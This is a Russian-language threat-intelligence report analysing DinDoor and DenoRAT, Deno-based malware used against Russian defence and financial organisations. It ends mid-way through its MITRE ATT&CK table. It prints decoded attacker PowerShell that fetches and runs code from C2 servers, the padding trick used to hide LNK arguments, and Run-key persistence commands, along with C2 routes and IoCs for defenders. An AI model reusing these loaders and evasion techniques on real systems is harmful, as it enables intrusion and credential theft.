Ключевые моменты
  • В 2026 году PT ESC выявил хакерскую группировку DENOmination Group, нацеленную на российские организации оборонно-промышленного, военного, финансового и консалтингового секторов.

  • Центральным техническим элементом активности DENOmination Group является использование легитимной среды выполнения Deno для запуска вредоносного JavaScript- и TypeScript-кода, а также для получения последующих компонентов от C2-сервера.

  • Связь между исследованными эпизодами подтверждается пересечениями в сетевой инфраструктуре, логике построения цепочек, сходством кодовой базы и конфигурационных параметров.

СОДЕРЖАНИЕ

В 2026 году отдел киберразведки PT ESC зафиксировал серию атак, объединенных использованием легитимной среды выполнения Deno для запуска вредоносного JavaScript-кода. Загрузочный компонент получил публичное название DinDoor; в подробно исследованных MSI- и LNK-ветках за ней следует полнофункциональный агент удаленного доступа DenoRAT.

Целями этих действий на территории Российской Федерации стали предприятия ОПК, военные структуры, банки, финансовые и консалтинговые организации. В качестве фишинговых приманок злоумышленники используют документы военной и финансово-кредитной тематики.

Принципиальная особенность цепочек — использование Deno как легитимной среды выполнения. Это позволяет операторам передавать выполнение обфусцированному JavaScript-коду, обновлять вредоносную логику на стороне C2-сервера и загружать дополнительные компоненты без изменения первоначального файла доставки.

В статье последовательно рассматриваются две основные цепочки первоначального запуска: MSI-ветка, выявленная в рамках фишинговой рассылки с финансовой тематикой, и LNK-ветка. Отдельно разбирается вредоносный установщик DeltaScan, выявленный при исследовании той же инфраструктуры и использующий сходную многостадийную схему запуска Deno. Совокупность пересечений в логике, техниках и сетевой инфраструктуре позволяет нам рассматривать эти эпизоды как активность одного актора.

Выявленную группировку мы назвали DENOmination Group. Название отражает ключевой технический признак наблюдаемой активности — систематическое использование Deno в связанных цепочках заражения. На текущем этапе имеющихся данных недостаточно для уверенной атрибуции DENOmination Group к какой-либо ранее известной группировке.

Контекст: Deno как оружие

Deno (deno.com) — легитимная среда выполнения JavaScript и TypeScript с открытым исходным кодом. В исследованных цепочках используется официальный deno.exe, который применяется как среда выполнения вредоносного JavaScript-кода.

В исследованных цепочках Deno запускается с флагом -A (--allow-all), который предоставляет выполняемому JavaScript-коду полный набор разрешений:

  • доступ к сети, файловой системе, переменным окружения;

  • запуск дочерних процессов;

  • вызов нативных функций через FFI.

Запуск deno.exe с флагом -A и вредоносным JavaScript-файлом позволяет использовать легитимную среду выполнения как промежуточный механизм запуска кода и может быть менее привычен для стандартных профилей мониторинга, чем классические сценарии с mshta.exe или wscript.exe.

Фишинговые письма

Письмо и защищенный архив

EML-образец использовал финансовую тематику и элемент срочности. Тема письма: «FW: Срочно! Оплатите просроченный кредит»; во вложении — запароленный архив [REDACTED]credit.zip. Шифрование архива одновременно затрудняет автоматическую проверку на почтовых шлюзах и создает для пользователя правдоподобную легенду «защищенного финансового документа».

Рисунок 1. Пример фишингового письма с финансовой тематикой и вложением [REDACTED]credit.zip
Рисунок 1. Пример фишингового письма с финансовой тематикой и вложением [REDACTED]credit.zip

MSI-установщик

Внутри архива находился файл [REDACTED]credit.pdf.msi. Двойное расширение имитировало PDF-документ, однако файл являлся установочным пакетом Windows и запускался через msiexec.exe. В метаданных установщика зафиксированы значения:

Author = yankee20
Subject = mike_service26
Comments = documents

последнее совпадает с каталогом, куда устанавливается PowerShell-компонент.

После запуска MSI создавал PowerShell-скрипт Juliet_widget15.ps1 в каталоге %LOCALAPPDATA%\documents\ и инициировал его исполнение в скрытом режиме.

Рисунок 2. Процесс установки вредоносного ПО
Рисунок 2. Процесс установки вредоносного ПО

PowerShell-загрузчик и установка Deno

Juliet_widget15.ps1 проверяет наличие deno.exe по пути %USERPROFILE%\.deno\bin\deno.exe и при его отсутствии скачивает Deno с официального ресурса.

Встроенная Base64-строка декодируется как UTF-8 и записывается в %APPDATA%\Uniform_system17.js, после чего файл запускается с флагом -A. Так выглядит часть декодированного вредоносного PS-кода:

$d = "$env:USERPROFILE\.deno\bin\deno.exe"
if (-not (Test-Path $d)) {
    iex ((irm https://deno.land/install.ps1 -UseBasicParsing) `
         -replace '--ssl-revoke-best-effort', '')
}
$j = Join-Path $env:APPDATA "Uniform_system17.js"
[IO.File]::WriteAllText($j,
    [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String(<BASE64>)))
& $d -A $j

Uniform_system17.js — загрузчик DinDoor

Uniform_system17.js представляет собой компактный загрузчик DinDoor на базе Deno, предназначенный для идентификации зараженного хоста, проверки доступности C2-сервера, получения основного модуля и его запуска через установленную среду выполнения Deno с полным набором разрешений. В исследованном образце отдельного механизма закрепления не обнаружено.

Механизм

Поведение

С2

Жестко задан hxxp://45.135.180[.]200. Код содержит логику переключения между командными серверами, однако в исследованном образце в массиве присутствует только один адрес

Предотвращение повторного запуска

Deno.listen() на 127.0.0.1:10091;

занятый порт завершает повторный запуск

Host ID (HUID)

Формируется детерминированный 16-символьный идентификатор на основе USERNAME/USER, hostname, общего объема RAM и версии ОС (osRelease)

Проверка доступности C2

GET /health

timeout около трех секунд; сервер считается рабочим только при HTTP OK и теле ответа, равном ok

Аутентификация

Использует встроенный JWT в заголовке Authorization: Bearer <token>

Передача данных о жертве

В запросах используются: x-huid, x-username, x-hostname

Получение основного модуля

GET /event с заголовком x-module-request: main

Цикл повторных попыток

30 секунд

Сохранение полезной нагрузки

Ответ C2-сервера рассматривается как JavaScript-код и записывается рядом с загрузчиком как m.js

Запуск полезной нагрузки

m.js запускается той же средой выполнения Deno через deno.exe -A m.js

m.js — DenoRAT

m.js — DenoRAT в MSI-ветке. В отличие от Uniform_system17.js, выполняющего роль загрузчика, m.js реализует полноценный удаленный доступ к зараженной системе и функции, выполняемые после ее компрометации.

Основные возможности m.js:

? Удаленное выполнение команд — запуск произвольных команд через cmd.exe и PowerShell.

? Интерактивная командная оболочка — создание PTY-сессии для постоянной работы оператора с зараженной системой.

? Сбор сведений о системе — имя пользователя, имя компьютера, домен, версия Windows, сведения о процессоре, видеокарте, памяти, уровне привилегий и средствах защиты.

? Обнаружение защитных решений — определение работающих антивирусов и EDR-систем и учет их наличия в отдельных сценариях работы вредоносного ПО.

? Захват экрана — создание снимков рабочего стола через Windows API.

? Кража данных браузеров — файлы cookie, сохраненные пароли, данные автозаполнения, платежных карт, IBAN, локального хранилища, расширений и отдельных баз браузеров.

? Кража данных менеджеров паролей — сбор информации из браузерных расширений Bitwarden, 1Password, LastPass, KeePassXC, Dashlane, NordPass, Keeper и других.

? Кража данных криптовалютных кошельков и расширений — сбор данных настольных кошельков и браузерных расширений для работы с криптовалютами, включая MetaMask, Phantom, Trust Wallet, Exodus, Electrum, Atomic Wallet, Coinbase Wallet и другие.

? Кража данных коммуникационных приложений — сбор файлов сессий Telegram Desktop и токенов Discord.

? Поиск чувствительных файлов — SSH-ключи, базы KeePass, сертификаты и закрытые ключи, VPN-конфигурации и RDP-файлы.

? Завершение процессов браузеров — принудительное закрытие Google Chrome, Microsoft Edge, Brave, Opera, Vivaldi, Yandex Browser и Chromium перед извлечением данных.

? Перенаправление сетевого трафика — создание TCP-туннеля через зараженный узел для доступа к ресурсам внутренней сети.

? Взаимодействие с сервером управления — получение заданий и передача результатов по HTTP и WebSocket через маршрут /service.

Основной C2-сервер исследованного m.js — hxxp://45.135.180[.]200. Для проверки доступности используется маршрут /health, а основной обмен заданиями и результатами выполняется через /service. Агент поддерживает периодический обмен по HTTP и постоянное соединение WebSocket; в запросах используются встроенный JWT и идентификационные заголовки
x-huid, x-username и x-hostname. HTTP используется для получения заданий и возврата результатов, а WebSocket — для интерактивной командной оболочки и перенаправления TCP-трафика.

Распространение через LNK

После выявления эпизода с распространения вредоносного MSI-файла мы продолжили мониторинг вредоносной активности, связанной с использованием Deno. С конца июня 2026 года нами регулярно фиксировались LNK-файлы, представлявшие отдельную ветку первоначальной доставки. Образцы маскировались под документы и запускали PowerShell для получения следующей стадии от C2-сервера.

Рисунок 3. Пример LNK-файла, замаскированного под DOCX-файл
Рисунок 3. Пример LNK-файла, замаскированного под DOCX-файл

Один из исследованных образцов распространялся под именем 2026-08-15-16-40-10-Анкета обучение программа ВГК”.docx.lnk. Двойное расширение docx.lnk создавало впечатление, что пользователю передан документ Microsoft Word.

LNK-файл выполняет роль первой стадии загрузки и запускает штатный Windows PowerShell. При этом операторы используют дополнительный прием, затрудняющий визуальное обнаружение фактических аргументов командной строки. 

Перед параметрами PowerShell в поле аргументов помещена длинная последовательность управляющих пробельных символов. В исследованном образце она состоит из 203 символов:

? 102 символа перевода строки — LF (0x0A);

? 101 символ горизонтальной табуляции — HT/TAB (0x09). 

Только после этой последовательности располагаются фактические параметры PowerShell:

<LF × 102> 
<TAB × 101> 
-NoP -W 1 -exec b -EncodedCommand <Base64>
Рисунок 4. Пример команды LNK-файла
Рисунок 4. Пример команды LNK-файла

Такое заполнение смещает содержательную часть строки относительно ее начала и затрудняет обнаружение команды при визуальном просмотре параметров ярлыка. При этом пробельные управляющие символы не препятствуют выполнению: PowerShell получает параметры командной строки, расположенные после них.

Основная команда передается PowerShell с использованием параметра EncodedCommand. Ее содержимое закодировано в Base64 с представлением строки в UTF-16LE. После декодирования получается компактный PowerShell-загрузчик, основной задачей которого является получение сценария следующего этапа. Ниже приведена декодированная PowerShell-команда из LNK-файла:

$mirrors = @(
    'hxxp://46.29.166[.]104:80',
    'hxxp://188.253.24[.]154:80',
    'hxxp://94.103.2[.]76:80'
)
$build = 'aa2a48591dd88a31'
foreach ($m in $mirrors) {
    try {
        $out = "$env:TEMP\$build.ps1"
        Invoke-WebRequest -Uri "$m/$build.ps1" -OutFile $out `
            -TimeoutSec 3 -UseBasicParsing -ErrorAction Stop
        if (Test-Path $out) { powershell -NoP -ep bypass -File $out; exit 0 }
    } catch {}
}

PS1-установщик: четыре основные задачи

PowerShell-скрипт выполняет четыре группы задач:

Маршрут, источник

Назначение

POST /<build>/install-status

Отправка телеметрии хода установки

GET /<build>/fake

Загрузка и открытие DOCX-приманки

https://dl.deno.land/.../deno-x86_64-pc-windows-msvc.zip

Загрузка и установка Deno 2.7.14 для Windows

GET /d

Резервная загрузка и установка Deno с C2-сервера, если dl.deno.land недоступен

GET /<build>.js

Скачивание и запуск загрузчика DinDoor (этап 2)

Архив Deno сохраняется как %TEMP%\d-aa2a48591dd88a31.zip, распаковывается в ~\.deno\bin и удаляется после проверки размера.

После подготовки среды PowerShell запускает загрузчик непосредственно по URL:

deno.exe -A hxxp://<C2>/aa2a48591dd88a31.js

Документ-приманка (DOCX)

Маршрут /fake возвращал документ-приманку с метаданными lastModifiedBy = Christmas. Это анкета военнослужащего — оператора БПЛА с вопросами о летном опыте, работе с РЭБ, РЭР и тепловизорами, о стрессоустойчивости и мотивации. Заголовок документа — «Анкета обучения в 50 ОБрБпС».

Во внутренних параметрах сборки (JWT) значится «Анкета обучения роты 68 ОП БпС (в/ч 77766) (Кристмас)» — несовпадение обозначений 50 и 68 может указывать на переиспользование шаблонов сборщика.

Рисунок 5. DOCX-приманка «Анкета обучения…»
Рисунок 5. DOCX-приманка «Анкета обучения…»

Этап 2. DinDoor: идентификация и закрепление

aa2a48591dd88a31.js — это не конечный RAT, а постоянная точка входа. Загрузчик собирает идентификаторы хоста, закрепляется в системе, ведет телеметрию и получает основной модуль DenoRAT.

Данные

Источник

Username

Deno.env.get("USERNAME") или Deno.env.get("USER")

Hostname

Deno.hostname()

MachineGuid

Deno FFI → advapi32.dll →

RegOpenKeyExW / RegQueryValueExW → HKLM\SOFTWARE\Microsoft\Cryptography\MachineGuid

HUID

Хеш из username + hostname (16 символов)

usernameHash

Отдельный хеш username;

используется в именах локальных JavaScript-файлов и Run key

Использование Deno FFI для чтения MachineGuid — ключевая особенность: JavaScript напрямую вызывает Windows Registry API без запуска сторонних исполняемых файлов:

 Deno.dlopen('advapi32.dll', {
 RegOpenKeyExW:   { /* FFI signature / },
 RegQueryValueExW:{ / FFI signature / },
 RegCloseKey: { / FFI signature */ }
 })

HUID используется для идентификации зараженного узла во взаимодействии с C2-сервером. Отдельный usernameHash определяет имена локальных JavaScript-файлов и значение в ключе Run, благодаря чему файловые и реестровые артефакты можно коррелировать между собой.

Вместо Win32-мьютекса загрузчик вызывает Deno.listen({hostname:"127.0.0.1", port:61488, transport:"tcp"}). Ошибка AddrInUse означает, что экземпляр уже работает, и новый процесс завершается.

Загрузчик закрепляется самостоятельно, не перекладывая эту задачу на основной RAT. Через Deno.Command запускается PowerShell, который выполняет Set-ItemProperty в ключе автозапуска HKCU Run:

HKCU\Software\Microsoft\Windows\CurrentVersion\Run\<usernameHash>
  = conhost.exe --headless "<DenoPath>" -A "%APPDATA%\<usernameHash>.js"

Файл загрузчика скрывается атрибутом +h через attrib.exe. Дополнительно создается скрытая копия в %LOCALAPPDATA%\Microsoft\<usernameHash>.js.

Во всех HTTP-запросах этап 2 передает идентификационные заголовки:

authorization: Bearer <JWT>
x-huid: <host-id>
x-username: <username>
x-hostname: <hostname>
x-machine-guid: <MachineGuid>

Канал

Направление

Назначение

GET /<build>.js

C2 → жертва

Самокопирование при первом HTTP-запуске

POST /agent-exec-logs

жертва → C2

Журналы выполнения (пакетная отправка примерно каждые 30 секунд)

GET /network + x-module-request: main

C2 → жертва

Получение этапа 3

Резервные C2-серверы

При ошибке — переход на следующий из трех адресов; повторная попытка примерно через 30 секунд

После получения ответа на GET /network загрузчик сохраняет JavaScript-код основного агента во временный каталог. Имя файла формируется на основе usernameHash: в обычном случае используется %TEMP%\<usernameHash>.js. Если каталог %APPDATA% совпадает с временным каталогом, для предотвращения конфликта с локальной копией загрузчика используется имя %TEMP%\<usernameHash>m.js. Полученный файл запускается через deno.exe -A.

Этап 3. /network: основной агент DenoRAT

DenoRAT не создает собственный механизм закрепления: это остается за DinDoor, который при каждом запуске получает актуальную версию /network. Такая архитектура позволяет оператору изменять основной агент на стороне сервера без изменения ключа автозапуска и локального загрузчика.

Канал управления: /group (периодический обмен по HTTP и WebSocket).

Набор команд

Команда

Реализация

Назначение

exec

Deno.Command → cmd.exe /c

Одноразовое выполнение команды оператора

exec-ps

powershell.exe -NoProfile -NonInteractive -Command

Выполнение PowerShell-кода

sysinfo

Deno APIs + FFI + tasklist

Профиль системы, права, контекст SYSTEM, список AV/EDR

screenshot

Deno FFI → user32/gdi32/shcore

JPEG-снимок рабочего стола; отдельный путь через wtsapi32 и временную запланированную задачу при работе от SYSTEM

pty-start / input / resize / close

@sigma/pty-ffi (динамический импорт)

Интерактивная PTY-сессия (cmd, PowerShell, Deno REPL)

fs-list-drives / fs-list-dir

Deno/node:fs

Навигация по файловой системе

fs-upload-* / fs-download-*

Двоичный протокол с передачей по частям

Двунаправленная передача файлов

fs-delete

Deno/node:fs

Удаление файлов

remote-module

GET /agent-modules/<n>.ts → динамический импорт

Загрузка и выполнение TypeScript-модуля в памяти

agent-exit

Внутренняя команда

Завершение RAT по команде C2-сервера

Сбор данных браузеров

RAT автоматически перебирает профили Google Chrome, Microsoft Edge, Brave, Vivaldi, Yandex Browser, Opera, Opera GX, Iridium и Mozilla Firefox. Для Chromium-браузеров интерес представляет каталог Local Storage\leveldb — свежий log-файл копируется и отправляется на POST /browser-data?filename=... раз в 15 минут.

Перенаправление сетевого трафика

DenoRAT может использовать зараженный компьютер как промежуточный сетевой узел. Через двоичные WebSocket-сообщения C2-сервер передает имя узла или IP-адрес и порт назначения; агент вызывает Deno.connect({hostname, port, transport:"tcp"}) и ретранслирует трафик. Это позволяет оператору получать доступ к ресурсам внутренней сети жертвы.

Обнаружение средств защиты

Команда sysinfo запускает tasklist и сопоставляет имена процессов с внутренней таблицей. В исследованном образце присутствуют записи для Microsoft Defender и Microsoft Defender for Endpoint, Kaspersky, ESET, Norton и Symantec, McAfee и Trellix, Trend Micro, Bitdefender, Avast, AVG, Sophos, CrowdStrike Falcon, SentinelOne, Malwarebytes, Dr.Web, Comodo, Elastic Endpoint, Fortinet, Cylance, Carbon Black, Deep Instinct, Emsisoft, AhnLab, CyberReason, а также heuristic-regex для имен процессов с security- и EDR-маркерами.

Удаленные модули

Команда remote-module позволяет расширять функциональность без замены ядра: C2-сервер передает имя модуля (регулярное выражение ^[a-z0-9-]+$), RAT загружает /agent-modules/<n>.ts, помещает текст в Blob-URL, выполняет динамический импорт и запускает экспортированную функцию run(context). Постоянный файл на диске не создается.

Вредоносный установщик DeltaScan

В ходе исследования инфраструктуры кампании были выявлены два образца DeltaScan Setup 1.4.1.exe. Эта ветка использует многостадийную цепочку:

EXE → MSI → JavaScript/WSH → Deno → <идентификатор сборки>.js.

Первоначальный EXE реализован на .NET и разворачивает встроенный MSI. Далее установщик запускает встроенный JavaScript-сценарий через Windows Script Host; Он передает выполнение PowerShell-компоненту, после чего подготавливается среда Deno и запускается JavaScript-компонент, получаемый от C2-сервера.

Исследованные образцы различаются идентификаторами сборки, однако используют одинаковый набор серверов на этапе установки:

Параметр

Сборка cc04

Сборка a447

SHA-256

419fa868afdf0aeb71b4a8da5fd079d6f7ac56bce2ce2b2627873f15ffd13e04

d0c8f4b4812dbea1eeb644add6f2d539185506a1f4e7c81e4294c01bc288ee29

Идентификатор сборки

cc04102ff6364e0e

a447f6f2c491a40d

C2-сервер при установке

185.76.241[.]157;
13.140.8[.]25;
141.105.68[.]185

185.76.241[.]157;
13.140.8[.]25;
141.105.68[.]185

Встроенный MSI извлекается из .NET-сборки:

Assembly.GetExecutingAssembly().GetManifestResourceStream("Embedded.msi")

Последовательность работы первоначального EXE (.NET) выглядит следующим образом:

  1. Проверить доступность C2-серверов по маршруту /<идентификатор сборки>/health-install.

  2. Проверить наличие каталога предыдущей установки DeltaScan 1.4.1; при его наличии выполнить удаление через msiexec.exe /x.

  3. Извлечь встроенный Embedded.msi из ресурсов сборки во временный каталог Path.GetTempPath(); имя файла формируется из первых 12 символов сгенерированного GUID.

  4. Запустить извлеченный MSI командой

    msiexec.exe /i "<имя_установщика>" /qb /norestart

  5. После завершения установки удалить временный MSI-файл.

Если ни один C2-сервер не отвечает подходящим HTTP-кодом, установка не продолжается. Таким образом, первоначальный EXE выполняет функции проверяющего и установочного дроппера, а дальнейшая цепочка — выполнение встроенного JScript-сценария через Windows Script Host, запуск PowerShell-компонента и подготовка среды Deno — реализована уже компонентами встроенного MSI.

Встроенный MSI, в свою очередь, содержит четыре основных компонента:

  • JsFile — JavaScript-сценарий для Windows Script Host. Запускается скрытно и передает выполнение следующего этапа PowerShell-компоненту.

  • PowerShell-скрипт — промежуточный компонент, запускаемый JScript-компонентом MSI через Windows Script Host. Он участвует в подготовке среды Deno и передаче выполнения JavaScript-компоненту следующего этапа.

  • DenoFile — встроенный дистрибутив среды выполнения Deno. В этой ветке Deno поставляется внутри MSI и не требует загрузки с официального ресурса.

  • ExeFile — NSIS-установщик программы DeltaScan 1.4.1. Программа отображает пользователю веб-страницу petrelх[.]live и, вероятно, выполняет роль прикрытия основной вредоносной активности.

Параметр

Значение

Запуск

EXE (.NET) → MSI → JScript/WSH → PowerShell → Deno

Формат агента

hxxp://<C2>/<BuildID>.js

получение JavaScript-компонента от C2-сервера

Повторные попытки

Последовательный перебор C2-серверов;

при ошибке выполняются повторные попытки

Проверка C2-сервера перед установкой

GET /<BuildID>/health-install перед установкой

Инфраструктура: ротация C2

Для LNK-ветки характерна регулярная ротация 16-символьных шестнадцатеричных идентификаторов сборки при относительно стабильных пулах C2. В нашем датированном наборе первый образец относится к 26 июня 2026 года. До четвертого августа включительно использовался пул 195.133.53[.]98, 13.140.8[.]25 и 78.153.149[.]152.

Пятого августа операторы перешли на новый пул C2 — 46.29.166[.]104, 188.253.24[.]154 и 94.103.2[.]76. Он использовался как минимум до 26 августа, тогда как идентификаторы сборок продолжали регулярно ротироваться.

Период

Ветка кампании

Промежуточная инфраструктура

26.03–22.04.2026

MSI

45.135.180[.]200

26.06.2026

LNK

195.133.53[.]98 141.105.68[.]185

03.07–04.08.2026

LNK

195.133.53[.]98

13.140.8[.]25

78.153.149[.]152

17.07–24.07.2026

DeltaScan

185.76.241[.]157

13.140.8[.]25

141.105.68[.]185

05.08–26.08.2026

LNK

46.29.166[.]104 188.253.24[.]154

94.103.2[.]76

Рисунок 6. Пересечение сетевой инфраструктуры
Рисунок 6. Пересечение сетевой инфраструктуры

Сборки DeltaScan Setup 1.4.1.exe пересекаются с LNK-инфраструктурой по адресам 13.140.8[.]25 и 141.105.68[.]185. Вместе с одинаковой схемой 16-символьных идентификаторов сборки, маршрутами проверки установки и запуском вредоносного JavaScript-кода через среду Deno эти пересечения поддерживают наше предположение о единой кампании одного актора.

Сравнение веток

Характеристика

MSI

LNK

DeltaScan

Приманка

Финансовая

Военная

Сканер

Подготовка среды

PowerShell →

загрузка Deno

PowerShell →

загрузка Deno 2.7.14 ZIP;

EXE (.NET) →
MSI →
JScript/WSH →
PowerShell →
встроенный Deno

Проверка, телеметрия установки

Не установлено

POST /<build>/install-status

GET /<BuildID>/health-install

Порт одиночного экземпляра

127.0.0.1:10091

127.0.0.1:61488

Не установлен

Идентификация хоста

username + hostname + RAM + OS release

username + hostname + MachineGuid (через FFI)

Не установлена

Закрепление

Не установлено

HKCU Run + скрытые локальные JavaScript-копии

Не установлено

Получение следующего компонента

GET /event → m.js

GET /network → временный JS

GET /<BuildID>.js

Канал управления

/service

/group

Не установлен

Повторные попытки

~30 секунд

~30 секунд

10 попыток × 3 C2-сервера

пауза 5 секунд

Удаленные модули

Не установлено

Явный /agent-modules/<n>.ts + динамический импорт

Не установлено

Сходство между ветками проявляется на разных уровнях. MSI- и LNK-ветки объединяет использование Deno для выполнения многостадийной JavaScript-цепочки и разделения загрузочного компонента и основного агента. LNK и DeltaScan дополнительно сближают 16-символьные идентификаторы сборки, последовательный перебор C2-серверов и прямые пересечения сетевой инфраструктуры.

Функции PTY, WebSocket-управления и перенаправления сетевого трафика подтверждены для исследованных компонентов DenoRAT.

Таксономия и оценка связности кампании

Разделение DinDoor и DenoRAT

В исследуемой кампании DinDoor и DenoRAT выполняют разные функции.

DinDoor используется как промежуточный загрузочный компонент: идентифицирует зараженный узел, проверяет доступность C2-сервера и обеспечивает получение и запуск следующей стадии.

DenoRAT представляет собой основной агент удаленного доступа и реализует выполнение команд, сбор и эксфильтрацию данных, интерактивную командную оболочку и сетевые функции. В зависимости от вектора первоначального доступа последовательность компонентов отличается:

  • MSI-ветка. После запуска MSI и PowerShell-компонента в систему записывается Uniform_system17.js, выполняющий роль загрузчика DinDoor. Он идентифицирует зараженный узел, проверяет C2-сервер и получает по маршруту /event основной модуль m.js. Полученный m.js является DenoRAT и содержит основную функциональность для удаленного управления и кражи данных.

  • LNK-ветка. PowerShell-скрипт устанавливает Deno и запускает aa2a48591dd88a31.js. Этот компонент выполняет роль загрузчика DinDoor, обеспечивает закрепление через HKCU\Software\Microsoft\Windows\ CurrentVersion\Run, создает локальные копии и ведет телеметрию. Основной агент DenoRAT загружается по маршруту /network, сохраняется во временный каталог и запускается через Deno. Полученный /network реализует удаленное выполнение команд, работу с файлами, захват экрана, сбор браузерных данных, интерактивную командную оболочку, перенаправление сетевого трафика и загрузку дополнительных TypeScript-модулей через /agent-modules/<n>.ts.

  • DeltaScan-ветка. Первоначальная доставка реализована через многостадийную цепочку EXE → MSI → JavaScript/WSH → Deno → <BuildID>.js. Встроенные компоненты MSI последовательно передают выполнение от JavaScript к Deno, через который запускается JavaScript-компонент, получаемый от C2-сервера. Архитектурно эта схема близка к MSI-ветке.

Возможный MaaS и связи с другими группировками

Полученные нами данные показывают, что DinDoor и DenoRAT, вероятно, не являются инструментарием, эксклюзивно используемым DENOmination Group. В открытых исследованиях аналогичные компоненты фигурируют в активности других отслеживаемых кластеров, при этом различаются способы первоначальной доставки, инфраструктура и последующие стадии заражения.

В апреле 2026 года Hunt.io проанализировали два образца DinDoor. Несмотря на общую логику идентификации зараженного узла и использование Deno, исследованные образцы существенно различались по реализации и дальнейшей цепочке выполнения. Во втором образце исследователи обнаружили встроенный JWT с параметрами кампании и инфраструктурой serialmenot[.]com. По данным Hunt.io, эта инфраструктура ранее фигурировала как многоарендная платформа, используемая различными операторами.

В пользу этого предположения говорит структура используемых компонентов. В исследованных нами ветках регулярно встречаются отдельные 16-символьные идентификаторы сборок, параметры buildId, buildNote, buildType, userId и userNote во встроенных JWT, а также отдельные наборы адресов C2-инфраструктуры. Такая модель позволяет формировать отдельные сборки и конфигурации для различных операций. При этом сами по себе эти признаки не позволяют установить, кто именно управляет серверной частью и каким образом операторы получают к ней доступ.

Дополнительный пример приводит eSentire Threat Response Unit. В июне 2026 года исследователи наблюдали цепочку заражения, которую они отнесли к активности TAG-150. Первоначальный доступ реализовывался через ClickFix: пользователь запускал вредоносную PowerShell-команду, после чего устанавливался MSI, PowerShell-компонент подготавливал Deno, а далее последовательно запускались DinDoor и DenoRAT. В этой операции DenoRAT выполнял функции удаленного доступа и сбора данных, а также использовался для доставки следующего компонента — NightshadeC2 — который eSentire связывает с TAG-150.

В образцах eSentire также присутствовали знакомые элементы архитектуры: разделение компонентов на загрузочные стадии, 16-символьный buildId, встроенный JWT с идентичными параметрами, а также получение основной полезной нагрузки от C2-сервера. eSentire отмечает, что некоторые комментарии и структура PowerShell-компонента указывают на автоматизированное формирование стадий на стороне инфраструктуры.

На текущем этапе мы рассматриваем модель malware-as-a-service (MaaS) или иной формы многоарендного доступа как рабочую гипотезу. Доступные данные указывают на возможность использования общей платформы несколькими операторами, однако не позволяют установить коммерческую модель распространения доступа: продажу, подписку, аренду инфраструктуры или взаимодействие с ограниченным кругом партнеров.

В связи с этим название DENOmination Group в рамках нашего исследования относится не к разработчикам DinDoor и DenoRAT и не ко всем операторам этого инструментария. Под этим названием мы отслеживаем конкретный кластер активности, нацеленный на российские организации и объединенный общими инфраструктурными, техническими и конфигурационными признаками.

Индикаторы компрометации

Хеши файлов

SHA-256

Артефакт

f7cebe4a6f7f5aa4e019f0c093fcc56bfdd0dc91ac592603b313a05aa4686734

Фишинговое письмо (EML)

7b793c54a927da36649eb62b9481d5bcf1e9220035d95bbfb85f44a6cc9541ae

[REDACTED]credit.pdf.msi

e5a2649140884257a4a51647dda81691451d6c3b2fba5326154e535b9c6cc4a8

MSI-ветка: загрузчик PowerShell

fa9768eaf2c26a79ca4fef4c2a5bdc5122d376cc1960eb11d7894f2e23423eb6

АКТ ПРИЕМА-ПЕРЕДАЧИ МАТЕРИАЛЬНЫХ ЦЕННОСТЕЙ_210826_06 (1).docx.lnk

98a5c46a1560f5dc62fe22630ee85d2021f436b51f4102bbbc9ac029dd3451c9

Uniform_system17.js (загрузчик DinDoor)

195d4a4c336fddf1dec8c3758a1a3ee15576cd75b63c83256394ef1b13822914

m.js — основной модуль DenoRAT MSI-ветки

419fa868afdf0aeb71b4a8da5fd079d6f7ac56bce2ce2b2627873f15ffd13e04

DeltaScan Setup 1.4.1

d0c8f4b4812dbea1eeb644add6f2d539185506a1f4e7c81e4294c01bc288ee29

DeltaScan Setup 1.4.1

Сетевые IoC

Индикатор

Ветка

45.135.180[.]200

MSI

185.76.241[.]157

DeltaScan

195.133.53[.]98

LNK

141.105.68[.]185

LNK, DeltaScan

13.140.8[.]25

LNK, DeltaScan

78.153.149[.]152

LNK

46.29.166[.]104

LNK

188.253.24[.]154

LNK

94.103.2[.]76

LNK

Поведенческие паттерны (URI, заголовки)

Паттерн

Описание

/<16hex>.ps1

PowerShell этапа 1 LNK-ветки

/<16hex>/install-status

Телеметрия установки (LNK-ветка)

/<16hex>/health-install

Проверка доступности C2-сервера перед установкой (DeltaScan-ветка)

/<16hex>/fake

Загрузка документа-приманки

/<16hex>.js

Загрузчик Deno

/network

Доставка основного RAT

/agent-exec-logs

Журналы загрузчика

/group

Управление RAT, WebSocket

/browser-data?filename=...

Эксфильтрация

/agent-modules/<n>.ts

Загрузка дополнительных TypeScript-модулей

HTTP: x-huid + x-machine-guid + authorization: Bearer

Идентификационные заголовки агента

MITRE ATT&CK

ID техники

Название техники на английском

Описание техники

T1566.001

Phishing: Spearphishing Attachment

DENOmination Group используют фишинговые письма с вредоносными вложениями. В MSI-ветке жертве доставлялся защищенный паролем архив [REDACTED]credit.zip, содержащий [REDACTED]credit.pdf.msi

T1204.002

User Execution: Malicious File

DENOmination Group используют файлы, выполнение которых требует действия пользователя. Примеры: [REDACTED]credit.pdf.msi и 2026-08-15-16-40-10-Анкета обучение программа ВГК”.docx.lnk

T1036.007

Masquerading: Double File Extension

DENOmination Group маскируют вредоносные файлы с помощью двойного расширения. Примеры: [REDACTED]credit.pdf.msi и *.docx.lnk, визуально имитирующие PDF- и DOCX-документы

T1218.007

System Binary Proxy Execution: Msiexec

DENOmination Group используют штатный msiexec.exe для запуска MSI-пакетов. В DeltaScan применяется команда msiexec.exe /i "<имя_установщика>" /qb /norestart, а предыдущая версия удаляется через msiexec.exe /x

T1059.001

Command and Scripting Interpreter: PowerShell

DENOmination Group используют PowerShell-команды и скрипты на разных этапах: в MSI-ветке — для запуска DinDoor через Deno; в LNK — powershell -NoP -W 1 -exec b -EncodedCommand <Base64>; в DeltaScan — между JavaScript или WSH и Deno. DenoRAT также выполняет PowerShell-код через exec-ps

T1059.003

Command and Scripting Interpreter: Windows Command Shell

DENOmination Group выполняют произвольные команды через Windows Command Shell. В DenoRAT команда exec запускает cmd.exe /c <command> посредством Deno.Command

T1059.007

Command and Scripting Interpreter: JavaScript

DENOmination Group выполняют вредоносную логику в виде JavaScript-кода через Deno. Например, Uniform_system17.js запускается командой deno.exe -A Uniform_system17.js, а в DeltaScan JavaScript-код используется через Windows Script Host

T1027.010

Obfuscated Files or Information: Command Obfuscation

DENOmination Group обфусцируют команды PowerShell с помощью -EncodedCommand, Base64/UTF-16LE, формирования строк из массивов символов и конкатенации. В исследованном LNK перед командой также размещены 102 символа LF и 101 символ TAB

T1027.013

Obfuscated Files or Information: Encrypted, Encoded File

